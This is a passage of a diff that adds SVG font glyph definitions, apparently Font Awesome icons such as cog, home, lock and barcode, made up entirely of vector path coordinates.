166.4c-9.99707 9.99707 -9.99707 26.2061 0 36.2041l36.2031 36.2041c9.99707 9.99805 26.207 9.99805 36.2041 0l112.095 -112.095l240.095 240.095c9.99707 9.99707 26.207 9.99707 36.2041 0l36.2031 -36.2041 +c9.99707 -9.99707 9.99707 -26.2061 0 -36.2041l-294.4 -294.401c-9.99805 -9.99707 -26.207 -9.99707 -36.2031 0.000976562z" /> + <glyph glyph-name="times" unicode="" horiz-adv-x="352" +d="M242.72 192l100.07 -100.07c12.2803 -12.29 12.2803 -32.1992 0 -44.4795l-22.2402 -22.2402c-12.2803 -12.2803 -32.2002 -12.2803 -44.4795 0l-100.07 100.07l-100.07 -100.07c-12.2793 -12.2803 -32.1992 -12.2803 -44.4795 0l-22.2402 22.2402 +c-12.2803 12.29 -12.2803 32.2002 0 44.4795l100.07 100.07l-100.07 100.07c-12.2803 12.29 -12.2803 32.1992 0 44.4795l22.2402 22.2402c12.29 12.2803 32.2002 12.2803 44.4795 0l100.07 -100.07l100.07 100.07c12.29 12.2803 32.1992 12.2803 44.4795 0 +l22.2402 -22.2402c12.2803 -12.29 12.2803 -32.2002 0 -44.4795z" /> + <glyph glyph-name="search-plus" unicode="" +d="M304 256v-32c0 -6.59961 -5.40039 -12 -12 -12h-56v-56c0 -6.59961 -5.40039 -12 -12 -12h-32c-6.59961 0 -12 5.40039 -12 12v56h-56c-6.59961 0 -12 5.40039 -12 12v32c0 6.59961 5.40039 12 12 12h56v56c0 6.59961 5.40039 12 12 12h32c6.59961 0 12 -5.40039 12 -12 +v-56h56c6.59961 0 12 -5.40039 12 -12zM505 -28.7002l-28.2998 -28.2998c-9.40039 -9.40039 -24.6006 -9.40039 -33.9004 0l-99.7998 99.7002c-4.5 4.5 -7 10.5996 -7 17v16.2998c-35.2998 -27.5996 -79.7002 -44 -128 -44c-114.9 0 -208 93.0996 -208 208 +s93.0996 208 208 208s208 -93.0996 208 -208c0 -48.2998 -16.4004 -92.7002 -44 -128h16.2998c6.40039 0 12.5 -2.5 17 -7l99.7002 -99.7002c9.2998 -9.39941 9.2998 -24.5996 0 -34zM344 240c0 75.2002 -60.7998 136 -136 136s-136 -60.7998 -136 -136 +s60.7998 -136 136 -136s136 60.7998 136 136z" /> + <glyph glyph-name="search-minus" unicode="" +d="M304 256v-32c0 -6.59961 -5.40039 -12 -12 -12h-168c-6.59961 0 -12 5.40039 -12 12v32c0 6.59961 5.40039 12 12 12h168c6.59961 0 12 -5.40039 12 -12zM505 -28.7002l-28.2998 -28.2998c-9.40039 -9.40039 -24.6006 -9.40039 -33.9004 0l-99.7998 99.7002 +c-4.5 4.5 -7 10.5996 -7 17v16.2998c-35.2998 -27.5996 -79.7002 -44 -128 -44c-114.9 0 -208 93.0996 -208 208s93.0996 208 208 208s208 -93.0996 208 -208c0 -48.2998 -16.4004 -92.7002 -44 -128h16.2998c6.40039 0 12.5 -2.5 17 -7l99.7002 -99.7002 +c9.2998 -9.39941 9.2998 -24.5996 0 -34zM344 240c0 75.2002 -60.7998 136 -136 136s-136 -60.7998 -136 -136s60.7998 -136 136 -136s136 60.7998 136 136z" /> + <glyph glyph-name="power-off" unicode="" +d="M400 393.9c63 -45 104 -118.601 104 -201.9c0 -136.8 -110.8 -247.7 -247.5 -248c-136.5 -0.299805 -248.3 111 -248.5 247.6c-0.0996094 83.3008 40.9004 157.101 103.8 202.2c11.7002 8.2998 28 4.7998 35 -7.7002l15.7998 -28.0996 +c5.90039 -10.5 3.10059 -23.7998 -6.59961 -31c-41.5 -30.7998 -68 -79.5996 -68 -134.9c-0.0996094 -92.2998 74.5 -168.1 168 -168.1c91.5996 0 168.6 74.2002 168 169.1c-0.299805 51.8008 -24.7002 101.801 -68.0996 134c-9.7002 7.2002 -12.4004 20.5 -6.5 30.9004 +l15.7998 28.0996c7 12.4004 23.2002 16.1006 34.7998 7.80078zM296 184c0 -13.2998 -10.7002 -24 -24 -24h-32c-13.2998 0 -24 10.7002 -24 24v240c0 13.2998 10.7002 24 24 24h32c13.2998 0 24 -10.7002 24 -24v-240z" /> + <glyph glyph-name="signal" unicode="" horiz-adv-x="640" +d="M216 160c8.83984 0 16 -7.16016 16 -16v-192c0 -8.83984 -7.16016 -16 -16 -16h-48c-8.83984 0 -16 7.16016 -16 16v192c0 8.83984 7.16016 16 16 16h48zM88 64c8.83984 0 16 -7.16016 16 -16v-96c0 -8.83984 -7.16016 -16 -16 -16h-48c-8.83984 0 -16 7.16016 -16 16v96 +c0 8.83984 7.16016 16 16 16h48zM344 256c8.83984 0 16 -7.16016 16 -16v-288c0 -8.83984 -7.16016 -16 -16 -16h-48c-8.83984 0 -16 7.16016 -16 16v288c0 8.83984 7.16016 16 16 16h48zM472 352c8.83984 0 16 -7.16016 16 -16v-384c0 -8.83984 -7.16016 -16 -16 -16h-48 +c-8.83984 0 -16 7.16016 -16 16v384c0 8.83984 7.16016 16 16 16h48zM600 448c8.83984 0 16 -7.16016 16 -16v-480c0 -8.83984 -7.16016 -16 -16 -16h-48c-8.83984 0 -16 7.16016 -16 16v480c0 8.83984 7.16016 16 16 16h48z" /> + <glyph glyph-name="cog" unicode="" +d="M487.4 132.3c4.89941 -2.7998 7.09961 -8.59961 5.59961 -14.0996c-11.0996 -35.7002 -30 -67.9004 -54.7002 -94.6006c-3.7998 -4.19922 -9.89941 -5.09961 -14.7998 -2.2998l-42.5996 24.6006c-18 -15.3008 -38.6006 -27.2002 -60.8008 -35.1006v-49.2002 +c0 -5.59961 -3.89941 -10.5 -9.39941 -11.6992c-34.9004 -7.80078 -72.5 -8.2002 -109.2 0c-5.5 1.19922 -9.40039 6.09961 -9.40039 11.6992v49.2002c-22.2998 7.7998 -42.8994 19.7002 -60.7998 35.1006l-42.5996 -24.6006c-4.7998 -2.7998 -11 -1.7998 -14.7998 2.2998 +c-24.7002 26.8008 -43.6006 59 -54.7002 94.6006c-1.60059 5.39941 0.599609 11.2002 5.5 14l42.5996 24.5996c-4.2998 23.2002 -4.2998 47 0 70.2002l-42.5996 24.5996c-4.90039 2.80078 -7.2002 8.60059 -5.5 14c11.0996 35.7002 30 67.9004 54.7002 94.6006 +c3.7998 4.2002 9.89941 5.09961 14.7998 2.2998l42.5 -24.5996c18 15.2998 38.5996 27.1992 60.7998 35.0996v49.2002c0 5.59961 3.90039 10.5 9.40039 11.7002c34.8994 7.7998 72.5 8.19922 109.199 0c5.5 -1.2002 9.40039 -6.10059 9.40039 -11.7002v-49.1006 +c22.2998 -7.7998 42.9004 -19.6992 60.7998 -35.0996l42.6006 24.5996c4.7998 2.80078 11 1.80078 14.7998 -2.2998c24.7002 -26.7998 43.5996 -59 54.7002 -94.5996c1.59961 -5.40039 -0.600586 -11.2002 -5.5 -14l-42.6006 -24.6006 +c4.2998 -23.1992 4.2998 -47 0 -70.1992zM256 112c44.0996 0 80 35.9004 80 80s-35.9004 80 -80 80s-80 -35.9004 -80 -80s35.9004 -80 80 -80z" /> + <glyph glyph-name="home" unicode="" horiz-adv-x="576" +d="M280.37 299.74c2.09082 1.68555 4.76562 2.69434 7.6582 2.69434s5.55078 -1.00879 7.6416 -2.69434l184.33 -151.74v-164c0 -8.83105 -7.16895 -16 -16 -16l-112.02 0.30957c-8.83105 0 -16.001 7.16895 -16.001 15.999c0 0.0175781 0 0.0341797 0.000976562 0.0517578 +v95.6396c0 8.83105 -7.16992 16 -16 16h-64c-8.83105 0 -16 -7.16895 -16 -16v-95.71c0 -8.80371 -7.12695 -15.9561 -15.9209 -16l-112.06 -0.290039c-8.83105 0 -16 7.16895 -16 16v163.89zM571.6 196.53c2.70703 -2.20117 4.42578 -5.56152 4.42578 -9.31836 +c0 -2.88867 -1.02246 -5.54004 -2.72559 -7.6123l-25.5 -31c-2.20117 -2.66309 -5.53418 -4.35059 -9.25684 -4.35059c-2.90332 0 -5.56641 1.0332 -7.64258 2.75098l-235.23 193.74c-2.09082 1.68555 -4.7666 2.69434 -7.6582 2.69434 +c-2.89258 0 -5.55078 -1.00879 -7.6416 -2.69434l-235.22 -193.74c-2.0752 -1.71387 -4.73926 -2.75586 -7.63867 -2.75586c-3.73242 0 -7.07031 1.70898 -9.27148 4.38574l-25.5 31c-1.71875 2.07617 -2.7627 4.74414 -2.7627 7.64648 +c0 3.72266 1.69824 7.05176 4.3623 9.25391l253.13 208.47c8.29102 6.82227 18.9668 10.9209 30.5312 10.9209s22.1787 -4.09863 30.4688 -10.9209l89.5303 -73.6602v72.6104c0 6.62305 5.37695 12 12 12h56c6.62305 0 12 -5.37695 12 -12v-138.51z" /> + <glyph glyph-name="clock" unicode="" +d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM348.49 127c2.19531 2.73926 3.52637 6.21973 3.52637 10c0 5.05566 -2.35059 9.56738 -6.0166 12.5l-58 42.5v144c0 8.83105 -7.16895 16 -16 16h-32 +c-8.83105 0 -16 -7.16895 -16 -16v-155.55c0 -12.6338 5.8418 -23.8975 15 -31.2305l67 -49.7197v0c2.7373 -2.19043 6.21387 -3.51758 9.98926 -3.51758c5.05566 0 9.56738 2.35059 12.501 6.01758l20 25v0z" /> + <glyph glyph-name="road" unicode="" horiz-adv-x="576" +d="M573.19 45.3301c9.25977 -21.1904 -5.5 -45.3301 -27.7305 -45.3301h-196.84l-10.3105 97.6797c-0.859375 8.14062 -7.71973 14.3203 -15.9092 14.3203h-68.8008c-8.18945 0 -15.0498 -6.17969 -15.9092 -14.3203l-10.3105 -97.6797h-196.84 +c-22.2305 0 -36.9902 24.1396 -27.7402 45.3301l139.79 320c4.96973 11.3799 15.7998 18.6699 27.7305 18.6699h97.5898l-2.4502 -23.1602c-0.5 -4.71973 3.20996 -8.83984 7.95996 -8.83984h29.1602c4.75 0 8.45996 4.12012 7.95996 8.83984l-2.4502 23.1602h97.5898 +c11.9199 0 22.75 -7.29004 27.7207 -18.6699zM260.4 312.84l-4.59082 -43.5801c-0.75 -7.08984 4.80078 -13.2598 11.9307 -13.2598h40.54c7.12012 0 12.6797 6.16992 11.9297 13.2598l-4.59961 43.5801c-0.430664 4.07031 -3.87012 7.16016 -7.95996 7.16016h-39.29 +c-0.00195312 0 -0.00390625 -0.0078125 -0.00488281 -0.0078125c-4.12891 0 -7.53125 -3.13477 -7.95508 -7.15234zM315.64 144c9.5 0 16.9102 8.23047 15.9102 17.6797l-5.06934 48c-0.860352 8.14062 -7.7207 14.3203 -15.9102 14.3203h-45.1504 +c-8.18945 0 -15.0498 -6.17969 -15.9102 -14.3203l-5.06934 -48c-1 -9.44922 6.40918 -17.6797 15.9092 -17.6797h55.29z" /> + <glyph glyph-name="download" unicode="" +d="M216 448h80c13.2998 0 24 -10.7002 24 -24v-168h87.7002c17.7998 0 26.7002 -21.5 14.0996 -34.0996l-152.1 -152.2c-7.5 -7.5 -19.7998 -7.5 -27.2998 0l-152.301 152.2c-12.5996 12.5996 -3.69922 34.0996 14.1006 34.0996h87.7998v168c0 13.2998 10.7002 24 24 24z +M512 72v-112c0 -13.2998 -10.7002 -24 -24 -24h-464c-13.2998 0 -24 10.7002 -24 24v112c0 13.2998 10.7002 24 24 24h146.7l49 -49c20.0996 -20.0996 52.5 -20.0996 72.5996 0l49 49h146.7c13.2998 0 24 -10.7002 24 -24zM388 -16c0 11 -9 20 -20 20s-20 -9 -20 -20 +s9 -20 20 -20s20 9 20 20zM452 -16c0 11 -9 20 -20 20s-20 -9 -20 -20s9 -20 20 -20s20 9 20 20z" /> + <glyph glyph-name="inbox" unicode="" horiz-adv-x="576" +d="M567.938 204.092c5.07422 -7.61035 8.06152 -16.7998 8.06152 -26.625v-129.467c0 -26.5098 -21.4902 -48 -48 -48h-480c-26.5098 0 -48 21.4902 -48 48v129.467c0 9.8252 2.9873 19.0146 8.06152 26.625l105.689 158.534c8.60742 12.9102 23.2725 21.374 39.9385 21.374 +h268.621c16.667 0 31.332 -8.46387 39.9395 -21.374zM162.252 320l-85.334 -128h123.082l32 -64h112l32 64h123.082l-85.333 128h-251.497z" /> + <glyph glyph-name="redo" unicode="" +d="M500.33 448c6.62305 0 12 -5.37695 12 -12v-200.34c0 -6.62305 -5.37695 -12 -12 -12h-200.33c-6.62305 0 -12 5.37695 -12 12v47.4102c0 0.00390625 -0.00878906 0.00878906 -0.00878906 0.0136719c0 6.62305 5.37695 12 12 12 +c0.194336 0 0.386719 -0.00488281 0.579102 -0.0136719l101.529 -4.87012c-31.6084 47.0322 -85.1172 77.8594 -145.992 77.8594c-97.1367 0 -176 -78.8633 -176 -176s78.8633 -176 176 -176c44.502 0 85.168 16.5518 116.173 43.8301 +c2.10938 1.84375 4.87793 2.96582 7.89746 2.96582c3.31055 0 6.31055 -1.34375 8.48242 -3.51562l34 -34c2.17383 -2.17188 3.52246 -5.17285 3.52246 -8.48633c0 -3.55176 -1.54688 -6.74512 -4.00293 -8.94336c-43.8477 -39.6924 -102.079 -63.9102 -165.824 -63.9102 +h-0.355469c-136.9 0 -247.9 110.93 -248 247.81c-0.0996094 136.66 111.34 248.19 248 248.19c0.0927734 0 0.116211 0.140625 0.208984 0.140625c75.5918 0 143.312 -33.9727 188.711 -87.4707l-4 82.7598c-0.00878906 0.192383 -0.0136719 0.375977 -0.0136719 0.570312 +c0 6.62305 5.37695 12 12 12h0.0136719h47.4102z" /> + <glyph glyph-name="sync" unicode="" +d="M440.65 435.43c-0.00976562 0.192383 -0.0136719 0.375977 -0.0136719 0.570312c0 6.62109 5.37305 11.9961 11.9932 12h47.3701c6.62305 0 12 -5.37695 12 -12v-200.35c0 -6.62305 -5.37695 -12 -12 -12h-200.22c-6.62305 0 -12 5.37695 -12 12v47.4092 +c0 0.00488281 -0.00878906 0.00976562 -0.00878906 0.0136719c0 6.62305 5.37695 12 12 12c0.194336 0 0.386719 -0.00390625 0.578125 -0.0136719l101.46 -4.85938c-31.5938 46.9941 -85.1406 77.6738 -145.973 77.6738c-82.8662 0 -152.428 -57.4229 -171.027 -134.614 +c-1.24219 -5.29688 -5.99707 -9.25391 -11.6699 -9.25977h-49.0498c-6.62305 0 -12 5.36719 -12 11.9893c0 0.748047 0.0693359 1.48047 0.200195 2.19043c21.6201 114.9 122.44 201.82 243.54 201.82c0.0966797 0 0.123047 0.141602 0.219727 0.141602 +c75.5615 0 143.248 -33.9814 188.601 -87.4814zM255.83 16c0.015625 0 0.0185547 0.0898438 0.0332031 0.0898438c82.8701 0 152.43 57.4434 170.997 134.65c1.24219 5.29688 5.99707 9.25391 11.6699 9.25977h49.0498c6.62305 0 12 -5.36719 12 -11.9893 +c0 -0.748047 -0.0693359 -1.48047 -0.200195 -2.19043c-21.6201 -114.9 -122.439 -201.82 -243.55 -201.82c-0.0800781 0 -0.0908203 -0.140625 -0.170898 -0.140625c-75.4814 0 -143.106 33.9082 -188.459 87.3105l4.14941 -82.5703 +c0.0107422 -0.201172 0.015625 -0.395508 0.015625 -0.599609c0 -6.62305 -5.37695 -12 -12 -12h-0.015625h-47.3496c-6.62305 0 -12 5.37695 -12 12v200.33c0 6.62305 5.37695 12 12 12h200.2c6.62305 0 12 -5.37695 12 -12v-47.4004 +c0 -0.00390625 0.0078125 -0.00878906 0.0078125 -0.0136719c0 -6.62305 -5.37695 -12 -12 -12c-0.193359 0 -0.386719 0.00488281 -0.578125 0.0136719l-101.8 4.87012c31.5254 -47.0088 85.0449 -77.7998 145.847 -77.7998h0.15332z" /> + <glyph glyph-name="list-alt" unicode="" +d="M464 -32h-416c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h416c26.5098 0 48 -21.4902 48 -48v-352c0 -26.5098 -21.4902 -48 -48 -48zM128 328c-22.0908 0 -40 -17.9092 -40 -40s17.9092 -40 40 -40s40 17.9092 40 40s-17.9092 40 -40 40zM128 232 +c-22.0908 0 -40 -17.9092 -40 -40s17.9092 -40 40 -40s40 17.9092 40 40s-17.9092 40 -40 40zM128 136c-22.0908 0 -40 -17.9092 -40 -40s17.9092 -40 40 -40s40 17.9092 40 40s-17.9092 40 -40 40zM416 272v32c0 6.62695 -5.37305 12 -12 12h-200 +c-6.62695 0 -12 -5.37305 -12 -12v-32c0 -6.62695 5.37305 -12 12 -12h200c6.62695 0 12 5.37305 12 12zM416 176v32c0 6.62695 -5.37305 12 -12 12h-200c-6.62695 0 -12 -5.37305 -12 -12v-32c0 -6.62695 5.37305 -12 12 -12h200c6.62695 0 12 5.37305 12 12zM416 80v32 +c0 6.62695 -5.37305 12 -12 12h-200c-6.62695 0 -12 -5.37305 -12 -12v-32c0 -6.62695 5.37305 -12 12 -12h200c6.62695 0 12 5.37305 12 12z" /> + <glyph glyph-name="lock" unicode="" horiz-adv-x="448" +d="M400 224c26.5 0 48 -21.5 48 -48v-192c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v192c0 26.5 21.5 48 48 48h24v72c0 83.7998 68.2002 152 152 152s152 -68.2002 152 -152v-72h24zM296 224v72c0 39.7002 -32.2998 72 -72 72s-72 -32.2998 -72 -72v-72h144 +z" /> + <glyph glyph-name="flag" unicode="" +d="M349.565 349.217c40.4951 0 82.6113 15.9062 116.949 31.8545c21.2168 9.85352 45.4854 -5.62305 45.4854 -29.0166v-243.1c0 -10.5264 -5.16016 -20.4072 -13.8428 -26.3584c-35.8379 -24.5635 -74.3359 -40.8574 -122.505 -40.8574 +c-67.373 0 -111.629 34.7832 -165.218 34.7832c-50.8525 0 -86.124 -10.0586 -114.435 -22.1221v-94.4004c0 -13.2549 -10.7451 -24 -24 -24h-16c-13.2549 0 -24 10.7451 -24 24v386.055c-14.5029 10.1201 -24 26.9189 -24 45.9453 +c0 31.7041 26.3447 57.2539 58.3379 55.9521c28.4678 -1.1582 51.7793 -23.9668 53.5508 -52.4033c0.0761719 -1.19141 0.0927734 -2.37305 0.0927734 -3.58301c0 -7.03711 -1.30176 -13.7734 -3.67871 -19.9785c20.7363 7.62891 43.0898 12.0127 68.0449 12.0127 +c67.373 0 111.63 -34.7832 165.218 -34.7832z" /> + <glyph glyph-name="headphones" unicode="" +d="M256 416c141.504 0 256 -114.521 256 -256v-48c0 -12.5312 -7.1875 -23.3711 -17.6904 -28.6221l-14.3818 -7.19141c-2.01074 -60.0889 -51.3486 -108.187 -111.928 -108.187h-24c-13.2549 0 -24 10.7451 -24 24v176c0 13.2549 10.7451 24 24 24h24 +c31.3418 0 59.6709 -12.8789 80 -33.627v1.62695c0 105.869 -86.1309 192 -192 192s-192 -86.1309 -192 -192v-1.62695c20.3291 20.748 48.6582 33.627 80 33.627h24c13.2549 0 24 -10.7451 24 -24v-176c0 -13.2549 -10.7451 -24 -24 -24h-24 +c-60.5791 0 -109.917 48.0967 -111.928 108.187l-14.3828 7.19141c-10.502 5.25098 -17.6895 16.0908 -17.6895 28.6221v48c0 141.504 114.52 256 256 256z" /> + <glyph glyph-name="volume-off" unicode="" horiz-adv-x="256" +d="M215 377c15 15 41 4.46973 41 -17v-336c0 -21.4697 -26 -32 -41 -17l-88.9404 89h-102.06c-13.2461 0 -24 10.7539 -24 24v144c0 13.2461 10.7539 24 24 24h102z" /> + <glyph glyph-name="volume-down" unicode="" horiz-adv-x="384" +d="M215.03 375.96c15.0098 15 40.9697 4.49023 40.9697 -16.9795v-335.961c0 -21.4395 -25.9404 -32 -40.9697 -16.9697l-88.9707 88.9502h-102.06c-13.2598 0 -24 10.75 -24 24v144c0 13.2598 10.7402 24 24 24h102.06zM338.23 267.88 +c28.2393 -15.5498 45.7793 -44.9902 45.7793 -76.8701s-17.54 -61.3301 -45.7695 -76.8799c-11.5605 -6.34961 -26.1807 -2.20996 -32.6104 9.4502c-6.38965 11.6104 -2.16016 26.2002 9.4502 32.6104c12.9004 7.08984 20.9199 20.4297 20.9199 34.8096 +s-8.01953 27.7197 -20.9297 34.8203c-11.6104 6.41016 -15.8398 21 -9.4502 32.6094c6.41992 11.6104 21.0303 15.7803 32.6104 9.4502z" /> + <glyph glyph-name="volume-up" unicode="" horiz-adv-x="576" +d="M215.03 376.95c15.0098 15.0098 40.9697 4.49023 40.9697 -16.9697v-335.961c0 -21.4395 -25.9404 -32 -40.9697 -16.9697l-88.9707 88.9502h-102.06c-13.2598 0 -24 10.75 -24 24v144c0 13.2598 10.7402 24 24 24h102.06zM448.35 428.03 +c79.9199 -52.46 127.65 -140.7 127.65 -236.03s-47.7305 -183.58 -127.65 -236.04c-11.5801 -7.61035 -26.4697 -3.75977 -33.5098 6.9502c-7.33984 11.1602 -4.21973 26.1797 6.9502 33.5c66.2695 43.4902 105.82 116.6 105.82 195.58 +c0 78.9795 -39.5508 152.09 -105.82 195.58c-11.1699 7.33008 -14.29 22.3398 -6.9502 33.5098c7.33008 11.1895 22.3398 14.2803 33.5098 6.9502zM480 192c0 -63.54 -32.0596 -121.94 -85.7695 -156.24c-12 -7.67969 -26.6104 -2.89941 -33.1201 7.45996 +c-7.09082 11.29 -3.78027 26.2207 7.40918 33.3604c39.75 25.3896 63.4805 68.5303 63.4805 115.42s-23.7305 90.0303 -63.4805 115.42c-11.1895 7.15039 -14.5 22.0801 -7.40918 33.3604c7.08984 11.2793 21.9297 14.5996 33.1201 7.45996 +c53.71 -34.2998 85.7695 -92.71 85.7695 -156.24zM338.23 268.87c28.2393 -15.54 45.7793 -44.9805 45.7793 -76.8604s-17.54 -61.3301 -45.7695 -76.8799c-11.5605 -6.34961 -26.1807 -2.20996 -32.6104 9.4502c-6.38965 11.6104 -2.16016 26.2002 9.4502 32.6104 +c12.9004 7.08984 20.9199 20.4297 20.9199 34.8096c0 14.3701 -8.01953 27.7197 -20.9297 34.8096c-11.6104 6.41016 -15.8398 21 -9.4502 32.6104c6.41992 11.6104 21.0303 15.7803 32.6104 9.4502z" /> + <glyph glyph-name="qrcode" unicode="" horiz-adv-x="448" +d="M0 224v192h192v-192h-192zM64 352v-64h64v64h-64zM256 416h192v-192h-192v192zM384 288v64h-64v-64h64zM0 -32v192h192v-192h-192zM64 96v-64h64v64h-64zM416 160h32v-128h-96v32h-32v-96h-64v192h96v-32h64v32zM416 0h32v-32h-32v32zM352 0h32v-32h-32v32z" /> + <glyph glyph-name="barcode" unicode="" +d="M0 0v384h18v-384h-18zM26.8574 0.273438v383.727h9.14258v-383.727h-9.14258zM54 0.273438v383.727h8.85742v-383.727h-8.85742zM98.8574 0.273438v383.727h8.85645v-383.727h-8.85645zM134.857 0.273438v383.727h17.7139v-383.727h-17.7139zM179.714 0.273438v383.727 +h8.85742v-383.727h-8.85742zM197.714 0.273438v383.727h8.85742v-383.727h-8.85742zM215.714 0.273438v383.727h8.85742v-383.727h-8.85742zM251.429 0.273438v383.727h18v-383.727h-18zM296.286 0.273438v383.727h18v-383.727h-18zM332.285 0.273438v383.727h18.001 +v-383.727h-18.001zM368.286 0.273438v383.727h18.001v-383.727h-18.001zM395.143 0.273438v383.727h18v-383.727h-18zM440.286 0.273438v383.727h26.8564v-383.727h-26.8564zM476 0.273438v383.727h9.14258v-383.727h-9.14258zM494 0v384h18v-384h-18z" /> + <glyph glyph-name="tag" unicode="" +d="M0 195.882v204.118c0 26.5098 21.4902 48 48 48h204.118c13.2461 0 25.252 -5.37012 33.9404 -14.0586l211.883 -211.883c18.7441 -18.7441 18.7441 -49.1367 0 -67.8818l-204.118 -204.118c-18.7451 -18.7441 -49.1377 -18.7441 -67.8818 0l-211.883 211.883 +c-8.68848 8.68848 -14.0586 20.6943 -14.0586 33.9404zM112 384c-26.5098 0 -48 -21.4902 -48 -48s21.4902 -48 48 -48s48 21.4902 48 48s-21.4902 48 -48 48z" /> + <glyph glyph-name="tags" unicode="" horiz-adv-x="640" +d="M497.941 222.059c18.7441 -18.7441 18.7441 -49.1367 0 -67.8818l-204.118 -204.118c-18.7461 -18.7451 -49.1387 -18.7441 -67.8818 0l-211.883 211.883c-8.68848 8.68848 -14.0586 20.6943 -14.0586 33.9404v204.118c0 26.5098 21.4902 48 48 48h204.118 +c13.2461 0 25.252 -5.37012 33.9404 -14.0586zM112 288c26.5098 0 48 21.4902 48 48s-21.4902 48 -48 48s-48 -21.4902 -48 -48s21.4902 -48 48 -48zM625.941 154.177l-204.118 -204.118c-18.7451 -18.7441 -49.1377 -18.7441 -67.8818 0l-0.360352 0.360352 +l174.059 174.059c16.999 16.999 26.3604 39.6006 26.3604 63.6406s-9.3623 46.6406 -26.3604 63.6396l-196.242 196.242h48.7207c13.2461 0 25.252 -5.37012 33.9404 -14.0586l211.883 -211.883c18.7441 -18.7441 18.7441 -49.1367 0 -67.8818z" /> + <glyph glyph-name="book" unicode="" horiz-adv-x="448" +d="M448 88c0 -7.5 -3.5 -14.2998 -8.90039 -18.5996c-4.19922 -15.4004 -4.19922 -59.3008 0 -74.7002c5.40039 -4.40039 8.90039 -11.2002 8.90039 -18.7002v-16c0 -13.2998 -10.7002 -24 -24 -24h-328c-53 0 -96 43 -96 96v320c0 53 43 96 96 96h328 +c13.2998 0 24 -10.7002 24 -24v-336zM128 314v-20c0 -3.2998 2.7002 -6 6 -6h212c3.2998 0 6 2.7002 6 6v20c0 3.2998 -2.7002 6 -6 6h-212c-3.2998 0 -6 -2.7002 -6 -6zM128 250v-20c0 -3.2998 2.7002 -6 6 -6h212c3.2998 0 6 2.7002 6 6v20c0 3.2998 -2.7002 6 -6 6h-212 +c-3.2998 0 -6 -2.7002 -6 -6zM381.4 0c-1.90039 17.0996 -1.90039 46.9004 0 64h-285.4c-17.5996 0 -32 -14.4004 -32 -32c0 -17.7002 14.2998 -32 32 -32h285.4z" /> + <glyph glyph-name="bookmark" unicode="" horiz-adv-x="384" +d="M0 -64v464c0 26.5098 21.4902 48 48 48h288c26.5098 0 48 -21.4902 48 -48v-464l-192 112z" /> + <glyph glyph-name="print" unicode="" +d="M448 256c35.3496 0 64 -28.6504 64 -64v-112c0 -8.83984 -7.16016 -16 -16 -16h-48v-96c0 -17.6699 -14.3301 -32 -32 -32h-320c-17.6699 0 -32 14.3301 -32 32v96h-48c-8.83984 0 -16 7.16016 -16 16v112c0 35.3496 28.6504 64 64 64v160c0 17.6699 14.3301 32 32 32 +h274.74c8.49023 0 16.6299 -3.37012 22.6299 -9.37012l45.2598 -45.25c6 -6.00977 9.37012 -14.1396 9.37012 -22.6299v-114.75zM384 0v96h-256v-96h256zM384 224v96h-48c-8.83984 0 -16 7.16016 -16 16v48h-192v-160h256zM432 152c13.25 0 24 10.75 24 24 +c0 13.2598 -10.75 24 -24 24s-24 -10.7402 -24 -24c0 -13.25 10.75 -24 24 -24z" /> + <glyph glyph-name="camera" unicode="" +d="M512 304v-288c0 -26.5 -21.5 -48 -48 -48h-416c-26.5 0 -48 21.5 -48 48v288c0 26.5 21.5 48 48 48h88l12.2998 32.9004c7 18.6992 24.9004 31.0996 44.9004 31.0996h125.5c20 0 37.8994 -12.4004 44.8994 -31.0996l12.4004 -32.9004h88c26.5 0 48 -21.5 48 -48zM376 160 +c0 66.2002 -53.7998 120 -120 120s-120 -53.7998 -120 -120s53.7998 -120 120 -120s120 53.7998 120 120zM344 160c0 -48.5 -39.5 -88 -88 -88s-88 39.5 -88 88s39.5 88 88 88s88 -39.5 88 -88z" /> + <glyph glyph-name="font" unicode="" horiz-adv-x="448" +d="M432 32c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-128c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h19.5801l-23.2998 64h-152.561l-23.2998 -64h19.5801c8.83105 0 16 -7.16895 16 -16v-32 +c0 -8.83105 -7.16895 -16 -16 -16h-128c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h23.4102l130.71 362.31c4.29297 12.6133 16.2363 21.6904 30.293 21.6904h0.00683594h47.1602l-0.00292969 0.00683594c14.0576 0 26.0098 -9.08398 30.3027 -21.6973 +l130.71 -362.31h23.4102zM176.85 176h94.3008l-47.1504 129.49z" /> + <glyph glyph-name="bold" unicode="" horiz-adv-x="384" +d="M333.49 210c34.4395 -27.54 55.5693 -71.1504 50.8301 -119.6c-6.86035 -70.6504 -70.2002 -122.4 -141 -122.4h-209.32c-8.83105 0 -16 7.16895 -16 16v48c0 8.83105 7.16895 16 16 16h31.8701v288h-31.8701c-8.83105 0 -16 7.16895 -16 16v48 +c0 8.83105 7.16895 16 16 16h199.42c74.5801 0 134.45 -64.4902 127.07 -140.79c-2.43945 -24.5273 -12.1992 -47.1309 -27 -65.21zM145.66 336v-96h87.7598c26.4922 0 48 21.5078 48 48s-21.5078 48 -48 48h-87.7598zM233.42 48c30.9072 0 56 25.0928 56 56 +s-25.0928 56 -56 56h-87.7598v-112h87.7598z" /> + <glyph glyph-name="italic" unicode="" horiz-adv-x="320" +d="M320 400v-32c0 -8.83105 -7.16895 -16 -16 -16h-62.7598l-80 -320h46.7598c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-192c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h62.7598l80 320h-46.7598 +c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h192c8.83105 0 16 -7.16895 16 -16z" /> + <glyph glyph-name="text-height" unicode="" horiz-adv-x="576" +d="M304 416c8.83105 0 16 -7.16895 16 -16v-96c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v32h-56v-304h40c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-160c-8.83105 0 -16 7.16895 -16 16v32 +c0 8.83105 7.16895 16 16 16h40v304h-56v-32c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v96c0 8.83105 7.16895 16 16 